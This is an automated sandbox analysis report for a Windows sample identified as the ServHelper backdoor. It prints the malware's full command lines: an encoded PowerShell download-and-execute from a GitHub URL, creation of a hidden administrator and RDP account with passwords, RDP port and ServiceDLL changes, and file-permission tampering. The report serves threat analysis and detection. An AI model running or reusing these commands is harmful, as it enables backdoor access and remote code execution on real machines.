servhelper | ac5df971e605c439d1851391f51ae799b24823c47aea5c0ac177f00e5d4cc1f2

Analysis

max time kernel
123s
max time network
106s
platform
windows7_x64
resource
win7v20210410
submitted
19-07-2021 07:04

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General

Target

c8284ad28e4f8bd853604543884a9438.exe
Size

7.1MB
MD5

c8284ad28e4f8bd853604543884a9438
SHA1

3d48649f085710bc3a086e53e2e9fb9b435e34cc
SHA256

ac5df971e605c439d1851391f51ae799b24823c47aea5c0ac177f00e5d4cc1f2
SHA512

97e5e03b93df44b58d446c4611b4e4209e5a5b9f2fe64b8b48c716771bd1d7dab211e317a929761f19ba96f478e996fcf0d9530dd693a9493a8e90b46d019852

Score

10^/10

servhelper backdoor discovery exploit persistence trojan upx

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

ServHelper
ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.
trojan backdoor servhelper
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Blocklisted process makes network request 1 IoCs

flow	pid	Process
11	1928	powershell.exe

Executes dropped EXE 3 IoCs

pid	Process
852	Pel.exe.com
1808	Pel.exe.com
1164	Pel.exe.com

Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1076

Possible privilege escalation attempt 8 IoCs

exploit

pid	Process
1600	icacls.exe
860	icacls.exe
920	takeown.exe
916	icacls.exe
880	icacls.exe
640	icacls.exe
2020	icacls.exe
1688	icacls.exe

Sets DLL path for service in the registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x0004000000013110-204.dat	upx
behavioral1/files/0x0005000000013111-205.dat	upx

Deletes itself 1 IoCs

pid	Process
1112	powershell.exe

Loads dropped DLL 5 IoCs

pid	Process
2004	cmd.exe
852	Pel.exe.com
1808	Pel.exe.com
288	Process not Found
288	Process not Found

Modifies file permissions 1 TTPs 8 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
1688	icacls.exe
1600	icacls.exe
860	icacls.exe
920	takeown.exe
916	icacls.exe
880	icacls.exe
640	icacls.exe
2020	icacls.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\system32\rfxvmt.dll	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1808 set thread context of 1164	1808	Pel.exe.com	36

Drops file in Windows directory 21 IoCs

description	ioc	Process
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_3c00d958-f7f4-4ee4-ae2f-66bfebdedfe3	powershell.exe
File opened for modification	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_591afa10-579e-4968-8f3e-3471c2682257	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_89dc0a64-2829-4b25-815e-adbf29458616	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_7f8be2fd-1a17-4a53-8f0d-424a89d57cba	powershell.exe
File opened for modification	C:\Windows\branding\Basebrd	powershell.exe
File opened for modification	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\branding\ShellBrd	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_bc8dfb2e-c0dc-4301-be6c-92ab23be4304	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_9436bf75-1bce-433b-92e4-505f71b881a1	powershell.exe
File created	C:\Windows\branding\mediasvc.png	powershell.exe
File created	C:\Windows\branding\wupsvc.jpg	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\CB7X4085RLDQVKFALTFP.temp	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_e3058c7f-ccde-4285-adaa-de2885319cb8	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_5fc8b834-9d9f-45b9-8c3c-cf8f51c6ab19	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_39c822c1-b658-42d9-8fca-2940b4b79878	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_7407b91f-6d71-42f3-817e-15a01e412d32	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_4cc55fc0-405f-47cb-95b6-d179c84431af	powershell.exe
File created	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\branding\mediasvc.png	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Modifies data under HKEY_USERS 4 IoCs

description	ioc	Process
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = d0d218016d7cd701	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
1692	reg.exe

Runs net.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
1792	PING.EXE

Suspicious behavior: EnumeratesProcesses 13 IoCs

pid	Process
1112	powershell.exe
1112	powershell.exe
1912	powershell.exe
1912	powershell.exe
1496	powershell.exe
1496	powershell.exe
1856	powershell.exe
1856	powershell.exe
1112	powershell.exe
1112	powershell.exe
1112	powershell.exe
1928	powershell.exe
1928	powershell.exe

Suspicious behavior: LoadsDriver 3 IoCs

pid	Process
464	Process not Found
288	Process not Found
288	Process not Found

Suspicious use of AdjustPrivilegeToken 18 IoCs

description	pid	Process
Token: SeDebugPrivilege	1112	powershell.exe
Token: SeDebugPrivilege	1912	powershell.exe
Token: SeDebugPrivilege	1496	powershell.exe
Token: SeDebugPrivilege	1856	powershell.exe
Token: SeRestorePrivilege	880	icacls.exe
Token: SeAssignPrimaryTokenPrivilege	1980	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1980	WMIC.exe
Token: SeAuditPrivilege	1980	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1980	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1980	WMIC.exe
Token: SeAuditPrivilege	1980	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1444	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1444	WMIC.exe
Token: SeAuditPrivilege	1444	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1444	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1444	WMIC.exe
Token: SeAuditPrivilege	1444	WMIC.exe
Token: SeDebugPrivilege	1928	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 484 wrote to memory of 2040	484	c8284ad28e4f8bd853604543884a9438.exe	26
PID 484 wrote to memory of 2040	484	c8284ad28e4f8bd853604543884a9438.exe	26
PID 484 wrote to memory of 2040	484	c8284ad28e4f8bd853604543884a9438.exe	26
PID 484 wrote to memory of 2040	484	c8284ad28e4f8bd853604543884a9438.exe	26
PID 2040 wrote to memory of 2004	2040	cmd.exe	28
PID 2040 wrote to memory of 2004	2040	cmd.exe	28
PID 2040 wrote to memory of 2004	2040	cmd.exe	28
PID 2040 wrote to memory of 2004	2040	cmd.exe	28
PID 2004 wrote to memory of 1988	2004	cmd.exe	29
PID 2004 wrote to memory of 1988	2004	cmd.exe	29
PID 2004 wrote to memory of 1988	2004	cmd.exe	29
PID 2004 wrote to memory of 1988	2004	cmd.exe	29
PID 2004 wrote to memory of 852	2004	cmd.exe	30
PID 2004 wrote to memory of 852	2004	cmd.exe	30
PID 2004 wrote to memory of 852	2004	cmd.exe	30
PID 2004 wrote to memory of 852	2004	cmd.exe	30
PID 2004 wrote to memory of 1792	2004	cmd.exe	31
PID 2004 wrote to memory of 1792	2004	cmd.exe	31
PID 2004 wrote to memory of 1792	2004	cmd.exe	31
PID 2004 wrote to memory of 1792	2004	cmd.exe	31
PID 852 wrote to memory of 1808	852	Pel.exe.com	32
PID 852 wrote to memory of 1808	852	Pel.exe.com	32
PID 852 wrote to memory of 1808	852	Pel.exe.com	32
PID 1808 wrote to memory of 1164	1808	Pel.exe.com	36
PID 1808 wrote to memory of 1164	1808	Pel.exe.com	36
PID 1808 wrote to memory of 1164	1808	Pel.exe.com	36
PID 1808 wrote to memory of 1164	1808	Pel.exe.com	36
PID 1808 wrote to memory of 1164	1808	Pel.exe.com	36
PID 1164 wrote to memory of 1112	1164	Pel.exe.com	37
PID 1164 wrote to memory of 1112	1164	Pel.exe.com	37
PID 1164 wrote to memory of 1112	1164	Pel.exe.com	37
PID 1112 wrote to memory of 1624	1112	powershell.exe	39
PID 1112 wrote to memory of 1624	1112	powershell.exe	39
PID 1112 wrote to memory of 1624	1112	powershell.exe	39
PID 1624 wrote to memory of 1600	1624	csc.exe	40
PID 1624 wrote to memory of 1600	1624	csc.exe	40
PID 1624 wrote to memory of 1600	1624	csc.exe	40
PID 1112 wrote to memory of 1912	1112	powershell.exe	41
PID 1112 wrote to memory of 1912	1112	powershell.exe	41
PID 1112 wrote to memory of 1912	1112	powershell.exe	41
PID 1112 wrote to memory of 1496	1112	powershell.exe	43
PID 1112 wrote to memory of 1496	1112	powershell.exe	43
PID 1112 wrote to memory of 1496	1112	powershell.exe	43
PID 1112 wrote to memory of 1856	1112	powershell.exe	45
PID 1112 wrote to memory of 1856	1112	powershell.exe	45
PID 1112 wrote to memory of 1856	1112	powershell.exe	45
PID 1112 wrote to memory of 920	1112	powershell.exe	48
PID 1112 wrote to memory of 920	1112	powershell.exe	48
PID 1112 wrote to memory of 920	1112	powershell.exe	48
PID 1112 wrote to memory of 916	1112	powershell.exe	49
PID 1112 wrote to memory of 916	1112	powershell.exe	49
PID 1112 wrote to memory of 916	1112	powershell.exe	49
PID 1112 wrote to memory of 880	1112	powershell.exe	50
PID 1112 wrote to memory of 880	1112	powershell.exe	50
PID 1112 wrote to memory of 880	1112	powershell.exe	50
PID 1112 wrote to memory of 640	1112	powershell.exe	51
PID 1112 wrote to memory of 640	1112	powershell.exe	51
PID 1112 wrote to memory of 640	1112	powershell.exe	51
PID 1112 wrote to memory of 2020	1112	powershell.exe	52
PID 1112 wrote to memory of 2020	1112	powershell.exe	52
PID 1112 wrote to memory of 2020	1112	powershell.exe	52
PID 1112 wrote to memory of 1688	1112	powershell.exe	53
PID 1112 wrote to memory of 1688	1112	powershell.exe	53
PID 1112 wrote to memory of 1688	1112	powershell.exe	53

C:\Users\Admin\AppData\Local\Temp\c8284ad28e4f8bd853604543884a9438.exe
"C:\Users\Admin\AppData\Local\Temp\c8284ad28e4f8bd853604543884a9438.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:484
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c cmd < Proseguo.aiff
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2040
- - C:\Windows\SysWOW64\cmd.exe
    cmd
    3⤵
    - Loads dropped DLL
    - Suspicious use of WriteProcessMemory
    PID:2004
  - - C:\Windows\SysWOW64\findstr.exe
      findstr /V /R "^YqtUIsXlqZsVJRcFIpXslCfCLplPOGbPHjEKUnpzORUSfakbpNLDEbHcLBoniivxCBhbjLKpZECaIbhaXMGqUUklEpZzfLkHxmdNtOkbrCDZVgNhgQAxBvAIdrSrMsUgaUXoiAhpBoX$" Sia.aiff
      4⤵
      PID:1988
  - - C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Pel.exe.com
      Pel.exe.com l
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Suspicious use of WriteProcessMemory
      PID:852
    - - C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Pel.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Pel.exe.com l
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious use of SetThreadContext
        Suspicious use of WriteProcessMemory
        
        PID:1808
      - C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Pel.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Pel.exe.com
        6⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:1164
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
        7⤵
        Deletes itself
        Drops file in System32 directory
        Drops file in Windows directory
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:1112
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\2satl1az\2satl1az.cmdline"
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:1624
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES1AB2.tmp" "c:\Users\Admin\AppData\Local\Temp\2satl1az\CSC4C9CA1379DC14C248287713237B8F080.TMP"
        9⤵
        
        PID:1600
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
        8⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1912
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
        8⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1496
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
        8⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1856
        
        C:\Windows\system32\takeown.exe
        
        "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
        8⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:920
        
        C:\Windows\system32\icacls.exe
        
        "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
        8⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:916
        
        C:\Windows\system32\icacls.exe
        
        "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
        8⤵
        Possible privilege escalation attempt
        Modifies file permissions
        Suspicious use of AdjustPrivilegeToken
        
        PID:880
        
        C:\Windows\system32\icacls.exe
        
        "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
        8⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:640
        
        C:\Windows\system32\icacls.exe
        
        "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
        8⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:2020
        
        C:\Windows\system32\icacls.exe
        
        "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
        8⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:1688
        
        C:\Windows\system32\icacls.exe
        
        "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
        8⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:1600
        
        C:\Windows\system32\icacls.exe
        
        "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
        8⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:860
        
        C:\Windows\system32\reg.exe
        
        "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
        8⤵
        
        PID:1392
        
        C:\Windows\system32\reg.exe
        
        "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
        8⤵
        Modifies registry key
        
        PID:1692
        
        C:\Windows\system32\reg.exe
        
        "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
        8⤵
        
        PID:1980
        
        C:\Windows\system32\net.exe
        
        "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
        8⤵
        
        PID:1488
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
        9⤵
        
        PID:1440
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
        8⤵
        
        PID:1724
        
        C:\Windows\system32\cmd.exe
        
        cmd /c net start rdpdr
        9⤵
        
        PID:1780
        
        C:\Windows\system32\net.exe
        
        net start rdpdr
        10⤵
        
        PID:1300
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start rdpdr
        11⤵
        
        PID:968
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
        8⤵
        
        PID:952
        
        C:\Windows\system32\cmd.exe
        
        cmd /c net start TermService
        9⤵
        
        PID:1868
        
        C:\Windows\system32\net.exe
        
        net start TermService
        10⤵
        
        PID:1884
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start TermService
        11⤵
        
        PID:1180
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
        8⤵
        
        PID:1988
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
        8⤵
        
        PID:1948
  - - C:\Windows\SysWOW64\PING.EXE
      ping 127.0.0.1 -n 30
      4⤵
      Runs ping.exe
      PID:1792

C:\Windows\System32\cmd.exe
cmd /C net.exe user wgautilacc Ghar4f5 /del
1⤵
PID:1496
- C:\Windows\system32\net.exe
  net.exe user wgautilacc Ghar4f5 /del
  2⤵
  PID:852
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc Ghar4f5 /del
    3⤵
    PID:912

C:\Windows\System32\cmd.exe
cmd /C net.exe user wgautilacc cTE08HUi /add
1⤵
PID:1948
- C:\Windows\system32\net.exe
  net.exe user wgautilacc cTE08HUi /add
  2⤵
  PID:640
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc cTE08HUi /add
    3⤵
    PID:1996

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
1⤵
PID:1472
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
  2⤵
  PID:1068
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
    3⤵
    PID:828

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" MRBKYMNO$ /ADD
1⤵
PID:1420
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" MRBKYMNO$ /ADD
  2⤵
  PID:1240
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" MRBKYMNO$ /ADD
    3⤵
    PID:1648

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Administrators" wgautilacc /ADD
1⤵
PID:1928
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Administrators" wgautilacc /ADD
  2⤵
  PID:1440
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Administrators" wgautilacc /ADD
    3⤵
    PID:1064

C:\Windows\System32\cmd.exe
cmd /C net.exe user wgautilacc cTE08HUi
1⤵
PID:1860
- C:\Windows\system32\net.exe
  net.exe user wgautilacc cTE08HUi
  2⤵
  PID:2008
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc cTE08HUi
    3⤵
    PID:1184

C:\Windows\System32\cmd.exe
cmd.exe /C wmic path win32_VideoController get name
1⤵
PID:1996
- C:\Windows\System32\Wbem\WMIC.exe
  wmic path win32_VideoController get name
  2⤵
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1980

C:\Windows\System32\cmd.exe
cmd.exe /C wmic CPU get NAME
1⤵
PID:988
- C:\Windows\System32\Wbem\WMIC.exe
  wmic CPU get NAME
  2⤵
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1444

C:\Windows\System32\cmd.exe
cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
1⤵
PID:852
- C:\Windows\system32\cmd.exe
  cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
  2⤵
  PID:1100
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
    3⤵
    - Blocklisted process makes network request
    - Drops file in Windows directory
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1928

C:\Windows\System32\cmd.exe
cmd.exe /C net user wgautilacc 1234
1⤵
PID:1972
- C:\Windows\system32\net.exe
  net user wgautilacc 1234
  2⤵
  PID:1184
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc 1234
    3⤵
    PID:1884

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Account Manipulation

T1098

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Modify Registry

T1112

Credential Access

Account Manipulation

T1098

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Remote Desktop Protocol

T1076

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/484-60-0x0000000075EF1000-0x0000000075EF3000-memory.dmp

Filesize
8KB

Download
memory/852-70-0x000007FEFC181000-0x000007FEFC183000-memory.dmp

Filesize
8KB

Download
memory/1112-93-0x000000001A9E0000-0x000000001A9E1000-memory.dmp

Filesize
4KB

Download
memory/1112-110-0x000000001B930000-0x000000001B931000-memory.dmp

Filesize
4KB

Download
memory/1112-98-0x000000001B7E0000-0x000000001B7E1000-memory.dmp

Filesize
4KB

Download
memory/1112-95-0x000000001ABB0000-0x000000001ABB2000-memory.dmp

Filesize
8KB

Download
memory/1112-109-0x000000001C330000-0x000000001C331000-memory.dmp

Filesize
4KB

Download
memory/1112-180-0x000000001C610000-0x000000001C611000-memory.dmp

Filesize
4KB

Download
memory/1112-106-0x0000000002500000-0x0000000002501000-memory.dmp

Filesize
4KB

Download
memory/1112-96-0x000000001ABB4000-0x000000001ABB6000-memory.dmp

Filesize
8KB

Download
memory/1112-94-0x00000000022E0000-0x00000000022E1000-memory.dmp

Filesize
4KB

Download
memory/1112-108-0x000000001B8B0000-0x000000001B8B1000-memory.dmp

Filesize
4KB

Download
memory/1112-92-0x000000001AC30000-0x000000001AC31000-memory.dmp

Filesize
4KB

Download
memory/1112-91-0x0000000002200000-0x0000000002201000-memory.dmp

Filesize
4KB

Download
memory/1112-125-0x000000001ABBA000-0x000000001ABD9000-memory.dmp

Filesize
124KB

Download
memory/1164-88-0x00000000416D7000-0x00000000416D8000-memory.dmp

Filesize
4KB

Download
memory/1164-87-0x00000000416D6000-0x00000000416D7000-memory.dmp

Filesize
4KB

Download
memory/1164-86-0x00000000416D2000-0x00000000416D4000-memory.dmp

Filesize
8KB

Download
memory/1164-85-0x00000000416D4000-0x00000000416D6000-memory.dmp

Filesize
8KB

Download
memory/1164-84-0x0000000000490000-0x0000000000AE8000-memory.dmp

Filesize
6.3MB

Download
memory/1164-82-0x00000000425F0000-0x0000000042A10000-memory.dmp

Filesize
4.1MB

Download
memory/1164-80-0x0000000000490000-0x0000000000AE8000-memory.dmp

Filesize
6.3MB

Download
memory/1496-155-0x000000001B560000-0x000000001B561000-memory.dmp

Filesize
4KB

Download
memory/1496-153-0x000000001AB00000-0x000000001AB01000-memory.dmp

Filesize
4KB

Download
memory/1496-151-0x0000000002910000-0x0000000002911000-memory.dmp

Filesize
4KB

Download
memory/1496-156-0x0000000001EB0000-0x0000000001EB1000-memory.dmp

Filesize
4KB

Download
memory/1496-157-0x000000001ABB0000-0x000000001ABB2000-memory.dmp

Filesize
8KB

Download
memory/1496-158-0x000000001ABB4000-0x000000001ABB6000-memory.dmp

Filesize
8KB

Download
memory/1808-79-0x0000000000180000-0x0000000000181000-memory.dmp

Filesize
4KB

Download
memory/1856-172-0x000000001ABC0000-0x000000001ABC2000-memory.dmp

Filesize
8KB

Download
memory/1856-173-0x000000001ABC4000-0x000000001ABC6000-memory.dmp

Filesize
8KB

Download
memory/1912-119-0x0000000002420000-0x0000000002421000-memory.dmp

Filesize
4KB

Download
memory/1912-123-0x000000001AC70000-0x000000001AC71000-memory.dmp

Filesize
4KB

Download
memory/1912-117-0x000000001AD70000-0x000000001AD72000-memory.dmp

Filesize
8KB

Download
memory/1912-143-0x000000001AC60000-0x000000001AC61000-memory.dmp

Filesize
4KB

Download
memory/1912-144-0x000000001ACC0000-0x000000001ACC1000-memory.dmp

Filesize
4KB

Download
memory/1912-130-0x000000001B820000-0x000000001B821000-memory.dmp

Filesize
4KB

Download
memory/1912-124-0x0000000002000000-0x0000000002001000-memory.dmp

Filesize
4KB

Download
memory/1912-121-0x000000001B790000-0x000000001B791000-memory.dmp

Filesize
4KB

Download
memory/1912-118-0x000000001AD74000-0x000000001AD76000-memory.dmp

Filesize
8KB

Download
memory/1928-261-0x00000000010BA000-0x00000000010D9000-memory.dmp

Filesize
124KB

Download
